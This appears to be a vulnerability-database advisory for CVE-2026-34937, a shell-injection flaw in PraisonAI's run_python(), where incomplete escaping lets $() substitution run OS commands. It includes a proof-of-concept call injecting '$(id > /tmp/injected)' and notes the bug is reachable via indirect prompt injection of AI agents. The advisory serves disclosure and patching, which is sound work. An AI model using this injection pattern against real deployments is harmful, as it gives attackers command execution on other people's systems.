CVE-2026-34937High· 7.8▾ TwilightPraisonAI: Shell Injection in run_python() via Unescaped $() Substitution
▾ Twilight zone — High severity, or a signal on a lesser flaw
impact 42.9 · likelihood 0.1 · exploitation 0
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Exploit-prediction probability, daily snapshots since Jul 13.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
Last analysed / modified upstream
0.5%
run_python() in praisonai constructs a shell command string by interpolating user-controlled code into python3 -c "<code>" and passing it to subprocess.run(..., shell=True). The escaping logic only handles \ and ", leaving $() and backtick substitutions unescaped, allowing arbitrary OS command execution before Python is invoked.
execute_command.py:290 (source) -> execute_command.py:297 (hop) -> execute_command.py:310 (sink)
# source -- user-controlled code argument
def run_python(code: str, cwd=None, timeout=60):
# hop -- incomplete escaping, $ and () not handled
escaped_code = code.replace('\\', '\\\\').replace('"', '\\"')
command = f'{python_cmd} -c "{escaped_code}"'
# sink -- shell=True expands $() before python3 runs
return execute_command(command=command, cwd=cwd, timeout=timeout)
# execute_command calls subprocess.run(command, shell=True, ...)
# tested on: praisonai==0.0.81 (source install, commit HEAD 2026-03-30)
# install: pip install -e src/praisonai
import sys
sys.path.insert(0, 'src/praisonai')
from praisonai.code.tools.execute_command import run_python
result = run_python(code='$(id > /tmp/injected)')
print(result)
# verify
import subprocess
print(subprocess.run(['cat', '/tmp/injected'], capture_output=True, text=True).stdout)
# expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)...
Any agent pipeline or API consumer that passes user or task-supplied content to run_python() is exposed to full OS command execution as the process user. The function is reachable via indirect prompt injection and the auto-generated Flask server deploys with AUTH_ENABLED = False by default when no token is configured.
praisonaiagents < 1.5.90Upgrade to a patched release:
praisonaiagents 1.5.90Connected by shared product, vendor, weakness, or advisory.
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